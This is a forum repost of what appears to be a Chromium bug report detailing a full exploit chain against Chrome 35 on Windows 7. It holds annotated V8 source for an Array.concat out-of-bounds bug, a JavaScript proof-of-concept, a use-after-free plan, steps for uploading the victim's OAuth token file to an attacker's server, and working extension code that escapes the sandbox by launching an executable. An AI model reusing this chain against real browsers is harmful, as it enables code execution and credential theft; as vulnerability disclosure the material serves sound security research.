Jump to content
Nytro

Full chain exploit + sandbox escape: Array.concat -> extension install -> download exec

Recommended Posts

VULNERABILITY DETAILS
= Out-of-bounds access vulnerability in Array.concat()

I use a bug in Array.concat() to execute arbitraty code in a sandbox.
 
----------------------------------------------------------------------
v8/src/runtime.cc [1]
RUNTIME_FUNCTION(Runtime_ArrayConcat) {
  HandleScope handle_scope(isolate);
  ASSERT(args.length() == 1);

  CONVERT_ARG_HANDLE_CHECKED(JSArray, arguments, 0);
  int argument_count = static_cast<int>(arguments->length()->Number());
  RUNTIME_ASSERT(arguments->HasFastObjectElements());
  Handle<FixedArray> elements(FixedArray::cast(arguments->elements()));

  // Pass 1: estimate the length and number of elements of the result.
  // The actual length can be larger if any of the arguments have getters
  // that mutate other arguments (but will otherwise be precise).
  // The number of elements is precise if there are no inherited elements.

  ElementsKind kind = FAST_SMI_ELEMENTS;

  uint32_t estimate_result_length = 0;
  uint32_t estimate_nof_elements = 0;
  for (int i = 0; i < argument_count; i++) {
    HandleScope loop_scope(isolate);
    Handle<Object> obj(elements->get(i), isolate);     
    uint32_t length_estimate;
    uint32_t element_estimate;
    if (obj->IsJSArray()) {
      Handle<JSArray> array(Handle<JSArray>::cast(obj));
      length_estimate = static_cast<uint32_t>(array->length()->Number()); <<<<< Comment 1. This is first time, reference a length field of array.
      if (length_estimate != 0) {
        ElementsKind array_kind =
            GetPackedElementsKind(array->map()->elements_kind());
        if (IsMoreGeneralElementsKindTransition(kind, array_kind)) {
          kind = array_kind;
        }
      }
      element_estimate = EstimateElementCount(array);
    } else {
      if (obj->IsHeapObject()) {
        if (obj->IsNumber()) {
          if (IsMoreGeneralElementsKindTransition(kind, FAST_DOUBLE_ELEMENTS)) {
            kind = FAST_DOUBLE_ELEMENTS;
          }
        } else if (IsMoreGeneralElementsKindTransition(kind, FAST_ELEMENTS)) {
          kind = FAST_ELEMENTS;
        }
      }
      length_estimate = 1;
      element_estimate = 1;
    }
    // Avoid overflows by capping at kMaxElementCount.
    if (JSObject::kMaxElementCount - estimate_result_length <
        length_estimate) {
      estimate_result_length = JSObject::kMaxElementCount;
    } else {
      estimate_result_length += length_estimate; <<<<< Comment 2. length_estimate, which is initialized in [Comment 1], is added to estimate_result_length.

    }
    if (JSObject::kMaxElementCount - estimate_nof_elements <
        element_estimate) {
      estimate_nof_elements = JSObject::kMaxElementCo     unt;
    } else {
      estimate_nof_elements += element_estimate;
    }
  }

  ...
  ...

  Handle<FixedArray> storage;
  if (fast_case) {
    // The backing storage array must have non-existing elements to preserve
    // holes across concat operations.
    storage = isolate->factory()->NewFixedArrayWithHoles( <<<<< Comment 3. Create an array of size estimated_result_length.
        estimate_result_length);
  } else {
    // TODO(126): move 25% pre-allocation logic into Dictionary::Allocate
    uint32_t at_least_space_for = estimate_nof_elements +
                                  (estimate_nof_elements >> 2);
    storage = Handle<FixedArray>::cast(
        SeededNumberDictionary::New(isolate, at_least_space_for));
  }

  ArrayConcatVisitor visitor(isolate, storage, fast_case);

  for (int i = 0; i < argument_count; i++) {
    Handle<Object> obj(elements->get(i), isolate);
    if (obj->IsJSArray()) {
      Handle<JSArray> array = Handle<JSArray>::cast(obj);
      if (!IterateElements(isolate, array, &visitor)) { <<<<< Comment 4. Call IterateElements()
        return isolate->heap()->exception();
      }
    } else {
      visitor.visit(0, obj);
      visitor.increase_index_offset(1);
    }
  }

  if (visitor.exceeds_array_limit()) {
    return isolate->Throw(
        *isolate->factory()->NewRangeError("invalid_array_length",
                                           HandleVector<Object>(NULL, 0)));
  }
  return *visitor.ToArray(); <<<<< Comment 5. ToArray() create a corrupted Array.
}
----------------------------------------------------------------------

Here is details on IterateElements() and ToArray().

----------------------------------------------------------------------
v8/src/runtime.cc [1]

static bool IterateElements(Isolate* isolate,
                            Handle<JSArray> receiver,
                            ArrayConcatVisitor* visitor) {
  uint32_t length = static_cast<uint32_t>(receiver->length()->Number()); <<<<< 4.1. This is second time, reference a length field of array.
  switch (receiver->GetElementsKind()) {
     ...
  }
  visitor->increase_index_offset(length); <<<<<<<<<<
  return true;
}

void increase_index_offset(uint32_t delta) {
  if (JSObject::kMaxElementCount - index_offset_ < delta) {
    index_offset_ = JSObject::kMaxElementCount;
  } else {
    index_offset_ += delta; <<<<<<<<<
  }
}
----------------------------------------------------------------------

----------------------------------------------------------------------
Handle<JSArray> ToArray() {
  Handle<JSArray> array = isolate_->factory()->NewJSArray(0);
  Handle<Object> length =
      isolate_->factory()->NewNumber(static_cast<double>(index_offset_)); <<<<< 5.1. local variable length is initalized with member variable index_offset_.
  Handle<Map> map = JSObject::GetElementsTransitionMap(
      array,
      fast_elements_ ? FAST_HOLEY_ELEMENTS : DICTIONARY_ELEMENTS);
  array->set_map(*map);
  array->set_length(*length);  <<<<< 
  array->set_elements(*storage_); <<<<< 5.2. However, storage_ is created with a size with [Comment 3].
  return array;
}
----------------------------------------------------------------------
(I can't definitely sure whether those above analysis is accurate or not.)


Here is proof-of-concept.
----------------------------------------------------------------------
a = [1];
b = [];
a.__defineGetter__(0, function () {
     b.length = 0xffffffff;
});

c = a.concat(b);
console.log(c);
----------------------------------------------------------------------


= From out-of-bounds to code execution

Using out-of-bounds vulnerability in Array, attacker can trigger Use-after-free to execute code.

1. Create 2D Array, which contain corrupted Array(###) and normal Array(o), alternatively.

[###########][      o      ][###########][      o      ][###########][      o      ][###########][      o      ]
2. free all normal Arrays(o) and 2D Array.
3. reference freed normal array(o) by corrupted array(###).
           ---------|
[###########][      o      ][###########][      o      ][###########][      o      ][###########][      o      ]
4. Memory is not entirely clear, even normal Array(o) was freed. So we can use it as normal object.
5. Let an ArrayBuffer allocated on freed normal array(o) by creating many ArrayBuffer.
6. Through freed normal Array(o), manipulate ArrayBuffer's property(byteLength, buffer address) to arbitrary memory access.

P.S. exploit is not optimized.

= Sandbox bypassing via chrome extension

Here, i describe exploit scenario and explain about sandbox escaping. 

Step 0. Victim open a malicious web page(Exploit).
Step 1. Exploit let victim download a html page which will be executed on file:// origin. 
Step 2. After triggerring code execution vulnerability, open the html page(html page on step 1) by NavigateContentWindow(It use same functionality of chrome.embeddedSearch.newTabPage.navigateContentWindow of chrome://newtab).
Step 3. Because of origin is file://. Attacker can access local files(read). but due to SecurityOrigin, use code execution flaws to change SecurityOrigin.
Step 4. Upload user's oauth token information (%localappdata%/Google/Chrome/User Data/Default/Web Data) to attacker's server.
Step 5. From now on, we can synchronize Chrome with the user's token(i'm not sure that there is additional security mechanism on OAuth to synchronize chrome browser).
Step 6. Install extension for at Synchronized chrome.
Step 7. During synchronization a user's Chrome install extension, too.

[Step 4] may takes time. in case of windows, token file is encrypted with DPAPI. 
So, bruteforcing password for windows login is required to get a master key file at %appdata%/Microsoft/Protect/.

[Step 6] use some vulnerability(?) in extension to bypass sandbox.
In chrome://settings-frame/settings, user can change download.default_directory.
Using chrome.downloads.showDefaultFolder(), chrome extension can open the directory on download.default_directory.
but it doesn’t check whether directory path is file or directory. (in case of file, Chrome execute it)
So, malicious attacker can bypass sandbox by set download.default_directory to an executable on external server(e.g. \\host\hihi.exe) then call chrome.downloads.showDefaultFolder().

I use debugger for extension to run JavaScript on chrome://settings-frame/settings. 
In general, url start with chrome:// is not attachable. but simple tricks as following works. 

view-source:chrome://settings-frame/settings
about:settings-frame/settings

Chrome extension code for sandbox escaping
----------------------------------------------------------------------
function sleep(milliseconds) {
     var start = new Date().getTime();
     for (;;) {
          if ((new Date().getTime() - start) > milliseconds)
               break;
     }
}

chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) {
     chrome.debugger.attach({tabId: tab.id}, "1.0", function () {
          sleep(1000);
          chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) {
               sleep(100);
               chrome.downloads.showDefaultFolder(); //open calc
               chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'});
          });
     });
});
----------------------------------------------------------------------
Tested on Windows 7

VERSION
Chrome Version: 35.0.1916.153 stable
Operating System: Windows 7

 

Sursa: https://bugs.chromium.org/p/chromium/issues/detail?id=386988

  • Upvote 2
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...